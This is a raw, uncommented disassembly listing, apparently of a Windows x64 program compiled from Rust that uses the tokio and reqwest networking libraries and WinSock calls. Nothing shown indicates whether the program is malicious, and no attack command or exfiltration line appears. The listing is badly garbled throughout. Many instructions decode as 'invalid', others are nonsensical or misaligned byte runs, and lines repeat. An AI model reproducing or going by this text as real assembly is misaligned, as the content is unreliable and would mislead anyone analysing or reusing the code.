je 0x1400fcfcc
and byte [rax - 0x77], cl
jl 0x1400fcfd1
sub byte [rax - 0x77], cl
jl case.0x1400e91e9.71
and al, 0x38
lea r8, [rsp + 0x20]
mov rdx, rsi
call fcn.1400fcb90
retf
sti
invalid
dec dword [rax - 0x7d]
cmp dword [rsp + 0x38], 0
retf
cmp dword [rsp + 0x38], 0
je 0x1400fcff8
sub ecx, dword [rbx + rcx*4 + 0x44]
and al, 0x40
mov r8, qword [rsp + 0x40]
test r8, r8
test r8, r8
je 0x1400fcff8
and dword [rax - 0x7d], ecx
jl 0x1400fcfff
cmp qword [rsp + 0x48], 0
je 0x1400fcff8
add byte [rcx + rbx + 0x48], sil
mov ecx, dword [0x140215360]
or eax, 0x11837a
xor edx, edx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
ret
call fcn.1400138d0
ud2
int1
dec dword [rdi]
or ecx, esp
int3
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rdx + 0x2648]
lea rcx, [0x14020aa20]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rsp + 0xf8]
mov r8d, 0x2638
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r15d, dword [rdi + 0x2640]
add byte [rax], al
add byte [rax], al
cmp r15d, 0x3b9aca00
jne 0x1400fd185
lea rcx, [rdi + 0x2650]
mov r8d, 0x2638
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rdi + 0x2650]
lea rcx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1400fd810
movzx r15d, byte [rsp + 0x41]
cmp r15b, 3
jne 0x1400fd15b
mov byte [rsi + 0x11], 3
mov al, 4
jmp 0x1400fd750
invalid
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
mov dword [rsp + 0x28], eax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x2c], ax
mov rcx, r14
call fcn.140100660
jmp 0x1400fd733
mov r12, qword [rdi + 0x2638]
call fcn.14013ac10
mov r14, rax
add r14, r12
jae 0x1400fd23a
call fcn.14013ac10
add rax, 0x38640900
jb case.0x14010324d.179
mov ebp, edx
cmp edx, 0x3b9ac9ff
jbe 0x1400fd1c7
inc rax
je case.0x14010324d.179
add ebp, 0xc4653600
mov ecx, ebp
shr ecx, 9
imul r14, rcx, 0x44b83
shr r14, 0x27
add r14, rax
jb 0x1400fd7ad
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_time_sleep.rs
call fcn.140144d20
mov r15, rdx
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rdx
lea rcx, [rdx + 0x128]
add rdx, 0xc0
test rax, rax
cmove rcx, rdx
cmp dword [rcx + 0xd0], 0x3b9aca00
add dl, cl
invalid
cmp esi, dword [rbp + 0x7a]
lea rcx, [0x1401df508]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_time_sleep.rs
mov edx, reloc.WS2_32.dll_WSAStartup
call fcn.140161290
ud2
mov ebp, edx
add ebp, r15d
cmp ebp, 0x3b9aca00
jb 0x1400fd256
inc r14
je 0x1400fd19d
add ebp, 0xc4653600
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
call fcn.140144d20
mov r15, rdx
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rdx
lea rcx, [rdx + 0x128]
add rdx, 0xc0
test rax, rax
cmove rcx, rdx
cmp dword [rcx + 0xd0], 0x3b9aca00
invalid
cmp ecx, dword [rdi]
test byte [rdi + 5], cl
add byte [rax], al
invalid
lea rcx, [rsp + 0xb8]
mov edx, 1
lock xadd qword [r15], rdx
test rax, rax
je 0x1400fd2ff
test rdx, rdx
js 0x1400fd78f
xorps xmm0, xmm0
movups xmmword [rsp + 0x34], xmm0
adc dword [rsp + 0x34], eax
adc dword [rsp + 0x34], eax
movups xmmword [rsp + 0x44], xmm0
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x90], xmm0
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0xa0], eax
lock dec qword [r15]
mov r12d, 1
jne 0x1400fd348
call fcn.1401439e0
jmp 0x1400fd348
invalid
test rdx, rdx
test rdx, rdx
js 0x1400fd78f
xorps xmm0, xmm0
movups xmmword [rsp + 0x34], xmm0
movups xmmword [rsp + 0x44], xmm0
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rsp + 0x40]
add byte [rax], 0
add byte [rdi], cl
adc byte [rsp + 0x40], al
movaps xmmword [rsp + 0x90], xmm0
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0xa0], eax
lock dec qword [r15]
add byte [rbx - 0x76afdbbc], cl
test byte [rax + riz*4], ah
add byte [rax], al
add al, dh
dec qword [r15]
jne 0x1400fd345
call fcn.1401438f0
xor r12d, r12d
mov eax, ebp
shr eax, 9
imul rax, rax, 0x44b83
imul eax, eax, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub ebp, eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0xf0], eax
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
mov eax, dword [rsp + 0xc9]
mov ecx, dword [rsp + 0xcc]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x7b], ecx
mov eax, dword [rsp + 0xc2]
mov ecx, dword [rsp + 0xc5]
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x73], ecx
lea rcx, [rdi + 0x2650]
lea rdx, [rsp + 0xf8]
mov r8d, 0x2638
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi + 0x4c88], r12
add byte [rcx + rcx*4 - 0x41], cl
nop
add byte [rax], r8b
mov qword [rdi + 0x4c98], r14
mov dword [rdi + 0x4ca0], ebp
movdqa xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movdqu xmmword [rdi + 0x4ca4], xmm0
movups xmmword [rdi + 0x4cb4], xmm1
mov eax, dword [rsp + 0xf0]
mov dword [rdi + 0x4cc4], eax
mov qword [rdi + 0x4cc8], 0xffffffffffffffff
pxor xmm0, xmm0
movdqu xmmword [rdi + 0x4cd0], xmm0
movdqu xmmword [rdi + 0x4cd9], xmm0
mov eax, dword [rsp + 0x78]
mov ecx, dword [rsp + 0x7b]
mov dword [rdi + 0x4ce9], eax
mov dword [rdi + 0x4cec], ecx
invalid
in al, dx
add byte [rax], r8b
mov byte [rdi + 0x4cf0], 0
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x73]
mov dword [rdi + 0x4cf1], eax
mov dword [rdi + 0x4cf4], ecx
invalid
hlt
add byte [rax], r8b
invalid
lea r14, [rdi + 0x2650]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400fd4c2
test eax, eax
jne 0x1400fd4ef
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0xdc], 0
setne cl
cmp byte [rax + 0xdd], 0
sete r12b
and r12b, cl
jmp fcn.1400fd4f2
add byte [rax], al
add byte [rbx + rcx*4 + 0x2c], cl
ror dword [rcx - 0x73], 0x8d
nop
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x46344
call fcn.14012dc40
mov byte [r13 + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebp, byte [rax + 0xdc]
movzx r13d, byte [rax + 0xdd]
test bpl, bpl
sete al
setne cl
test r13b, r13b
setne dl
and dl, cl
or r12b, al
or ah, al
or ah, al
or r12b, dl
cmp r12b, 1
jne case.0x1400e4b0f.153
mov rcx, r15
mov rdx, rbx
call fcn.14014e0a0
add eax, 0xfc08400
test bh, al
add byte [rax], al
invalid
mov byte [rsi + 0x11], 3
mov al, 3
jmp 0x1400fd750
je 0x1400fd5ef
xor byte [rdi], cl
mov dh, 0x5c
and al, 0x40
mov eax, dword [rsp + 0x42]
mov dword [rsp + 0x80], eax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x84], ax
jmp 0x1400fd685
mov eax, dword [0x1402153fc]
add eax, 0x117e08
mov rcx, qword gs:[0x58]
mov r12, qword [rcx + rax*8]
mov byte [r12 + 0xdc], 0
add byte [rcx + rcx*4 - 7], cl
add byte [rcx + rcx*4 - 7], cl
mov rdx, rbx
call fcn.14014e0a0
mov ebx, eax
movzx eax, byte [r12 + 0xe0]
cmp eax, 1
je case.0x1400e91e9.72
test eax, eax
jne 0x1400fd67a
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r12, qword [rcx + rax*8]
mov esp, dword [rcx + rax*8]
mov esp, dword [rcx + rax*8]
lea rcx, [r12 + 0x90]
lea rdx, [0x1401438a0]
add al, 0
add al, 0
call fcn.14012dc40
mov byte [r12 + 0xe0], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xdc], bpl
mov byte [rax + 0xdd], r13b
invalid
test bl, bl
jne 0x1400fd5bb
mov bpl, 3
movzx eax, word [rsp + 0x84]
test byte [rax], al
add byte [rax], al
mov word [rsp + 0x6c], ax
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x68], eax
mov rcx, r14
add byte [rax], 0
add byte [rcx + 0x4c682444], cl
mov ecx, esi
call fcn.140100660
mov rcx, r15
call fcn.14014bbd0
lea rcx, [rdi + 0x4c90]
add byte [rax], al
cmp qword [rdi + 0x4c88], 0
cmp dword [rdi + 0x4c88], 0
je 0x1400fd6ce
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400fd6dc
mov rax, qword [rcx]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne 0x1400fd6dc
call fcn.140005950
mov rax, qword [rdi + 0x4cd0]
test rax, rax
invalid
je 0x1400fd6f2
mov rcx, qword [rdi + 0x4cd8]
call qword [rax + 0x18]
invalid
mov r15b, 2
cmp bpl, 2
je 0x1400fd733
movzx eax, bpl
cmp eax, 3
jne case.0x14010324d.186
lea rax, [0x1401d2fd0]
movq xmm0, rax
movdqa xmm6, xmmword [0x140168bf0]
outsd dx, dword [rsi]
xor eax, 0x6b4d8
mov ah, 6
invalid
outsd dx, dword [rsi]
xor eax, 0x6b4d8
mov ah, 6
invalid
mov ah, 6
add byte [rsi + 0xf], ah
insb byte [rdi], dx
invalid
punpcklqdq xmm6, xmm0
jmp 0x1400fd733
movzx eax, word [rsp + 0x6c]
mov word [rsp + 0x2c], ax
mov eax, dword [rsp + 0x68]
and al, 0x68
mov dword [rsp + 0x28], eax
mov r15d, ebp
out dx, eax
movdqu xmmword [rsi], xmm6
mov byte [rsi + 0x10], bl
mov byte [rsi + 0x11], r15b
mov eax, dword [rsp + 0x28]
mov dword [rsi + 0x12], eax
movzx eax, word [rsp + 0x2c]
mov word [rsi + 0x16], ax
mov al, 1
mov byte [rdi + 0x2648], al
add byte es:[rax], al
add byte [rax - 0x77], cl
invalid
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x2730]
add rsp, 0x2748
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
ret
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
lea eax, [0x1401d9230]
mov edx, 0x23
call fcn.140160fb0
ud2
ud2
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401dbd90]
mov edx, 0x28
call fcn.140161290
ud2
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
add dword [rax], eax
add byte [rax], al
lea rax, [0x140204680]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
and al, 0x48
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_time.rs
lea rcx, [rsp + 0x30]
xor al, ch
cmp dword [rsi], esi
invalid
invalid
xor al, ch
cmp dword [rsi], esi
invalid
ud2
lea rcx, [0x1401df508]
lea ecx, [0x1401df508]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
mov edx, reloc.WS2_32.dll_WSAStartup
or eax, 0x73ba00
add byte [rax], al
call fcn.140161290
ud2
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x2018
and byte [rax], al
invalid
and byte [rax], al
add al, ch
invalid
invalid
call fcn.14015c310
sub rsp, rax
movdqa xmmword [rsp + 0x2000], xmm6
mov rbx, r8
mov rsi, rdx
mov r13, rcx
movzx eax, byte [rdx + 0x2d2]
rol byte [rdx], cl
add byte [rax], al
rol byte [rdx], cl
add byte [rax], al
lea rcx, [0x14020aa34]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov word [rsi + 0x2d3], 0
mov byte [rsi + 0x2d5], 1
add byte [rax], al
invalid
add al, byte [rax]
add byte [rax], al
add dh, al
xchg ch, dl
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add dword [rax - 0x73], ecx
mov esi, 0x128
sub byte [rcx], al
add byte [rax], al
lea rdi, [rsi + 0x128]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movups xmm3, xmmword [rsi + 0x30]
movups xmmword [rsi + 0x128], xmm0
pop rsi
xor byte [rdi], cl
adc dword [rsi + 0x128], eax
movups xmmword [rsi + 0x138], xmm1
invalid
movups xmmword [rsi + 0x148], xmm2
add byte [rax], al
movups xmmword [rsi + 0x158], xmm3
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x40], al
invalid
invalid
add byte [rax], al
movups xmm0, xmmword [rsi + 0x40]
movups xmmword [rsi + 0x168], xmm0
movups xmmword [rsi + 0x168], xmm0
movups xmm0, xmmword [rsi + 0x50]
push rax
movups xmmword [rsi + 0x178], xmm0
movups xmm0, xmmword [rsi + 0x60]
movups xmmword [rsi + 0x188], xmm0
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x70], al
movups xmm0, xmmword [rsi + 0x70]
movups xmmword [rsi + 0x198], xmm0
mov rax, qword [rsi + 0x120]
mov eax, dword [rsi + 0x120]
xchg byte [rax], ah
add dword [rax], eax
add byte [rax - 0x77], cl
xchg al, bh
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x110], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
xchg byte [rax], ah
add dword [rax], eax
add byte [rax - 0x77], cl
xchg al, bh
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x110], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
movups xmmword [rsi + 0x1e8], xmm0
adc dword [rsi + 0x1e8], eax
movups xmm0, xmmword [rsi + 0x100]
add byte [rax], al
movups xmmword [rsi + 0x1d8], xmm0
movups xmm0, xmmword [rsi + 0xf0]
adc byte [rsi + 0xf0], al
movups xmmword [rsi + 0x1c8], xmm0
movups xmm0, xmmword [rsi + 0xe0]
loopne case.0x140103f8e.104
add byte [rax], al
loopne case.0x140103f8e.104
add byte [rax], al
movups xmmword [rsi + 0x1b8], xmm0
movups xmm0, xmmword [rsi + 0xd0]
add byte [rax], al
add byte [rax], al
movups xmmword [rsi + 0x1a8], xmm0
add byte [rax], al
movups xmm0, xmmword [rsi + 0x80]
movups xmm1, xmmword [rsi + 0x90]
movups xmm2, xmmword [rsi + 0xa0]
mov ss, word [rax + 0xf000000]
adc byte [rsi + 0xa0], dl
movups xmm3, xmmword [rsi + 0xb0]
movups xmmword [rsi + 0x200], xmm0
xchg byte [rax], al
add al, byte [rax]
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rsi + 0x200], eax
xchg byte [rax], al
add al, byte [rax]
invalid
movups xmmword [rsi + 0x210], xmm1
add byte [rdi], cl
adc dword [rsi + 0x220], edx
movups xmmword [rsi + 0x220], xmm2
movups xmmword [rsi + 0x230], xmm3
movups xmm0, xmmword [rsi + 0xc0]
adc byte [rsi + 0xc0], al
add byte [rdi], cl
adc byte [rsi + 0xc0], al
movups xmmword [rsi + 0x240], xmm0
lea rcx, [rsi + 0x208]
or byte [rdx], al
add byte [rax], al
lea rax, [rsi + 0x228]
cmp qword [rsi + 0x200], 0
add byte [rax], al
lea r14, [rsp + 0xde8]
je 0x1400fdb57
add byte [rdi], cl
adc byte [rcx], al
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x6b0], xmm1
movaps xmmword [rsp + 0x6a0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x650], xmm0
movaps xmmword [rsp + 0x660], xmm1
sub dword [rsp + 0x660], ecx
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x670], rax
lea rdx, [0x1401d90b8]
lea edx, [0x1401d90b8]
lea rcx, [rsp + 0xd90]
lea r8, [rsp + 0x6a0]
add byte [rax], al
and al, 0x90
or eax, 0x8d4c0000
test byte [rax + riz*4], ah
invalid
add byte [rax], al
call fcn.140101690
lea rax, [rsp + 0x650]
test byte [rax + rdx*2], ah
invalid
add byte [rax], al
jmp 0x1400fdbb5
invalid
add dword [rax], eax
invalid
test byte [rax + rdx*2], ah
invalid
add dword [rax], eax
add byte [rbp + rcx*4 - 0x4a], cl
lea r14, [rsi + 0x614]
lea r14, [rsi + 0x614]
lea rdx, [rsi + 0x2d8]
movzx eax, byte [rsi + 0x614]
xchg byte [rsi + rax], dl
add byte [rax], al
lea rcx, [0x14020aa64]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
movzx edi, word [rsi + 0x610]
jmp 0x1400fe2db
mov r8, qword [rsi + 0x2d8]
mov rax, qword [rsi + 0x2e0]
lea rcx, [rsp + 0xd90]
mov rdx, r8
mov r8, rbx
call qword [rax + 0x18]
mov rdi, qword [rsp + 0xd90]
add byte [rax], al
cmp rdi, 4
jne 0x1400fdab3
mov byte [r13 + 0x11], 3
mov al, 3
add ebp, ecx
invalid
and al, 0
invalid
lea r12, [rsi + 0x9b8]
lea rdx, [rsi + 0x2d8]
movzx eax, byte [rsi + 0x9b8]
test eax, eax
je 0x1400fdb43
cmp eax, 3
jne case.default.0x1400fda97
clc
add ecx, dword [rdi]
test dword [rax + 0x26], ecx
add byte [rax], al
lea r8, [rsi + 0x788]
movzx eax, byte [rsi + 0x788]
add byte [rax], al
add byte [rax], al
lea rcx, [0x14020aa50]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rsp + 0x60], rdx
invalid
mov qword [rsp + 0x58], r8
jmp rax
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, [0x1401d35e0]
mov edx, 0x23
add byte [rax], al
add al, ch
push qword [rsi + rax]
add byte [rdi], cl
invalid
add byte [rax], al
add al, ch
push qword [rsi + rax]
add byte [rdi], cl
or ecx, dword [rcx + rcx*4 + 0x6c]
and al, 0x38
mov qword [rsp + 0x38], r13
mov r15, qword [rsp + 0xd98]
mov r12, qword [rsp + 0xda0]
lea rdx, [rsp + 0xda8]
lea rcx, [rsp + 0x1980]
sbb dword [rax], eax
add byte [rcx - 0x48], al
adc byte [rcx], al
add byte [rax], al
or eax, 0x8b4c0000
movsb byte [rdi], byte [rsi]
and al, 0xa0
or eax, 0x8d480000
xchg esp, eax
and al, 0xa8
or eax, 0x8d480000
mov word [rax + rax*4], fs
sbb dword [rax], eax
add byte [rcx - 0x48], al
adc byte [rcx], al
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [rsi + 0x2d8]
add byte [rbx + rcx*4 - 0x52], cl
loopne 0x1400fdaf1
add byte [rax], al
add byte [rbx + rcx*4 - 0x52], cl
loopne 0x1400fdaf1
add byte [rax], al
mov rcx, r14
call qword [r13]
cmp qword [r13 + 8], 0
je 0x1400fdb1c
cmp qword [r13 + 0x10], 0x11
jb 0x1400fdb0a
mov r14, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
mov bpl, 2
cmp edi, 3
jne 0x1400fdf78
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x38]
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
dec qword [rax]
je 0x1400ffcf7
jmp 0x1400ffcaa
movdqu xmm6, xmmword [rsi + 0x400]
outsd dx, dword [rsi]
mov dh, 0
add al, 0
add byte [rax - 0x75], cl
mov esi, 0x410
add byte [rax], al
mov rdi, qword [rsi + 0x410]
jmp 0x1400feb8a
add byte [rax], al
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
add dword [rdi], ecx
adc byte [rcx + 0x10], cl
movaps xmmword [rsp + 0x690], xmm1
movaps xmmword [rsp + 0x680], xmm0
and al, 0x80
invalid
add byte [rax], al
and al, 0x80
invalid
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x620], xmm0
sub dword [rsp + 0x620], eax
movaps xmmword [rsp + 0x630], xmm1
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x640], rax
lea rdx, [0x1401d8840]
lodsb al, byte [rsi]
or eax, 0x8c8d4800
and al, 0x90
or eax, 0x8d4c0000
test byte [rax + rax*4], ah
invalid
add byte [rax], al
call fcn.140101690
jrcxz 0x1400fdbe5
add byte [rax], al
lodsb al, byte [rsi]
or eax, 0x8c8d4800
and al, 0x90
or eax, 0x8d4c0000
test byte [rax + rax*4], ah
invalid
jrcxz 0x1400fdbe5
add byte [rax], al
lea rax, [rsp + 0x620]
mov rcx, qword [rax + 0x20]
mov qword [r14 + 0x20], rcx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rax, qword [rsp + 0xde0]
mov qword [rsp + 0x1b0], rax
movups xmm0, xmmword [rsp + 0xdd0]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rsp + 0xd90]
nop
or eax, 0x100f0000
mov word [rax + riz*4], fs
or eax, 0x100f0000
xchg esp, eax
and al, 0xb0
invalid
add byte [rax], al
movups xmm3, xmmword [rsp + 0xdc0]
movaps xmmword [rsp + 0x190], xmm3
movaps xmmword [rsp + 0x180], xmm2
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
mov rax, qword [r14 + 0x20]
mov qword [rsp + 0x150], rax
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x140], xmm1
movaps xmmword [rsp + 0x130], xmm0
mov byte [rsi + 0x2d4], 1
movaps xmm0, xmmword [rsp + 0x130]
movaps xmm1, xmmword [rsp + 0x140]
movups xmmword [rsi + 0x250], xmm0
movups xmmword [rsi + 0x260], xmm1
mov rax, qword [rsp + 0x150]
and al, 0x50
add dword [rax], eax
add byte [rax - 0x77], cl
xchg byte [rax + 2], dh
add byte [rax], al
and al, 0x50
add dword [rax], eax
add byte [rax - 0x77], cl
xchg byte [rax + 2], dh
add byte [rax], al
mov qword [rsi + 0x278], rdi
movzx eax, byte [rsi + 0x1a8]
test rax, rax
test eax, eax
test eax, eax
je 0x1400fdd64
cmp eax, 1
je 0x1400fdcf8
test byte [rcx + 0x48000000], bh
lea ecx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
add byte [rax], al
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcuri_scheme.rs
mov edx, 0x28
call fcn.140160fb0
ud2
mov qword [rsp + 0x30], rdx
mov rbp, r13
mov rdx, qword [rsi + 0x628]
jmp 0x1400fe7a8
mov qword [rsp + 0x30], rdx
mov rcx, qword [rsi + 0x2620]
mov rdx, qword [rsi + 0x2628]
mov edx, dword [rsi + 0x2628]
mov edx, dword [rsi + 0x2628]
mov rax, qword [rsi + 0x2630]
jmp 0x140100170
add byte [rax], al
test rdx, rdx
je 0x1400fe03c
mov rcx, qword [rsi + 0x1c0]
add byte [rax], al
call fcn.140083630
mov r8, qword [rsi + 0x1c8]
mov qword [rsi + 0x280], rax
xchg byte [rax + 0x48000002], al
mov dword [rsi + 0x288], edx
xchg byte [rax + 0x48000002], al
mov dword [rsi + 0x288], edx
test r8, r8
je 0x1400fe047
test byte [rbx + rax], cl
add byte [rax], al
mov rdx, qword [rsi + 0x1c0]
lea rcx, [rsp + 0xd90]
nop
or eax, 0x91e80000
push rdx
clc
dec dword [rax - 0x75]
test byte [rax + rdx*4], ah
or eax, 0xb70f0000
mov word [rax + riz*4], fs
or eax, 0xe5e90000
add al, byte [rax]
invalid
mov byte [rsi + 0x2d5], 0
movups xmm0, xmmword [rdi + 0x70]
movaps xmmword [rsp + 0xe00], xmm0
movups xmm0, xmmword [rdi + 0x60]
movaps xmmword [rsp + 0xdf0], xmm0
movups xmm0, xmmword [rdi + 0x50]
movaps xmmword [rsp + 0xde0], xmm0
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0xdd0], xmm0
movups xmm0, xmmword [rdi]
invalid
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xdc0], xmm3
movaps xmmword [rsp + 0xdb0], xmm2
movaps xmmword [rsp + 0xda0], xmm1
invalid
invalid
movaps xmmword [rsp + 0xd90], xmm0
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
and al, 0x70
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x180], dl
and al, 0x70
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x180], dl
movaps xmm3, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0xe10], xmm0
movaps xmmword [rsp + 0xe20], xmm1
movaps xmmword [rsp + 0xe30], xmm2
movaps xmmword [rsp + 0xe40], xmm3
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0xe50], xmm0
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xe60], rax
lea r14, [rsp + 0x6c0]
lea rdx, [rsp + 0xd90]
mov r8d, 0x250
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + 0x2d8]
mov r8d, 0x250
add al, byte [rax]
add byte [rcx + rcx*4 - 0xe], cl
add al, byte [rax]
add byte [rcx + rcx*4 - 0xe], cl
call sub.VCRUNTIME140.dll_memcpy
mov word [rsi + 0x528], 1
lea r14, [rsi + 0x2d8]
lea rcx, [rsp + 0xd90]
mov rdx, r14
mov r8, rbx
call fcn.1401026a0
movzx ebp, byte [rsp + 0xda1]
cmp bpl, 3
jne 0x1400fde9a
mov byte [r13 + 0x11], 3
mov al, 6
jmp 0x1400ffead
mov r15, qword [rsp + 0xd90]
mov r12, qword [rsp + 0xd98]
movzx edi, byte [rsp + 0xda0]
mov eax, dword [rsp + 0xda2]
mov dword [rsp + 0x40], eax
movzx eax, word [rsp + 0xda6]
mov word [rsp + 0x44], ax
mov rcx, r14
call fcn.140100be0
cmp byte [rsi + 0x270], 2
je 0x1400fdefa
lea rcx, [rsi + 0x268]
mov rax, qword [rsi + 0x250]
mov rdx, qword [rsi + 0x258]
mov r8, qword [rsi + 0x260]
call qword [rax + reloc.WS2_32.dll_recv]
mov byte [rsi + 0x2d4], 0
cmp byte [rsi + 0x1a8], 2
jb 0x1400fdf35
mov rbx, qword [rsi + 0x1b0]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsi + 0x1d0]
mov rax, qword [rsi + 0x1b8]
mov rdx, qword [rsi + 0x1c0]
mov r8, qword [rsi + 0x1c8]
call qword [rax + reloc.WS2_32.dll_recv]
lea rcx, [rsi + 0x1f0]
mov rax, qword [rsi + 0x1d8]
mov rdx, qword [rsi + 0x1e0]
mov r8, qword [rsi + 0x1e8]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400ffdee
lea rcx, [rsp + 0x408]
lea rdx, [rsp + 0x1980]
mov r8d, 0x110
